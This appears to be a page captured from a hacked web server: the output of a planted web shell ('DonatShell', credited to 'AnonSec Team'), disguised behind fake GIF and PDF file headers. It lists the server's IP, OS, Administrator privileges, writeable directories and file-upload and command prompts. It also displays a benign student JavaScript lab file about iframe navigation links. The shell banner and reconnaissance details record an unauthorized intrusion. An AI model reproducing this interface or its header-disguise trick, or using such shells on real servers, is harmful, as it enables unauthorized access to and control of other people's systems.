GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1022/Labs/_Archive/Lab04/example/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1022/Labs/_Archive/Lab04/example/Lab04.js
// Lab04.js - Jim Martinson

window.onload = Initialiize;

function Initialiize() {
	console.warn('Initialiize[]');
	console.log('document.links.length='+document.links.length);
	// Get menu links.
	var menu = document.getElementById('imenu');
	var links = menu.contentDocument.getElementsByTagName("a");
	console.log('menu links.length='+links.length);
	for ( var i=0; i<links.length; i++ ) {
		var linkObj = links[i];
		console.log('linkObj.href='+linkObj.href);
		linkObj.onclick = setContent;
	}
	contentLinks();
}

function setContent() {
	console.warn('setContent[]');
	document.getElementById("icontent").contentWindow.document.location.href = this.href;
	setTimeout(contentLinks,500);
	return false;
}
function contentLinks() {
	var content = document.getElementById('icontent');
	var links = content.contentDocument.getElementsByTagName("a");
	console.log('content links.length='+links.length);
	for ( var i=0; i<links.length; i++ ) {
		var linkObj = links[i];
		console.log('content linkObj.href='+linkObj.href);
		linkObj.onclick = glossaryWindow;
	}
}

function glossaryWindow() {
	console.warn('glossaryWindow[]');
	var theWindow = window.open(this.href,"Glossary Window","width=350,height=260");
	theWindow.focus();
	return false;
}

Anon7 - 2022
AnonSec Team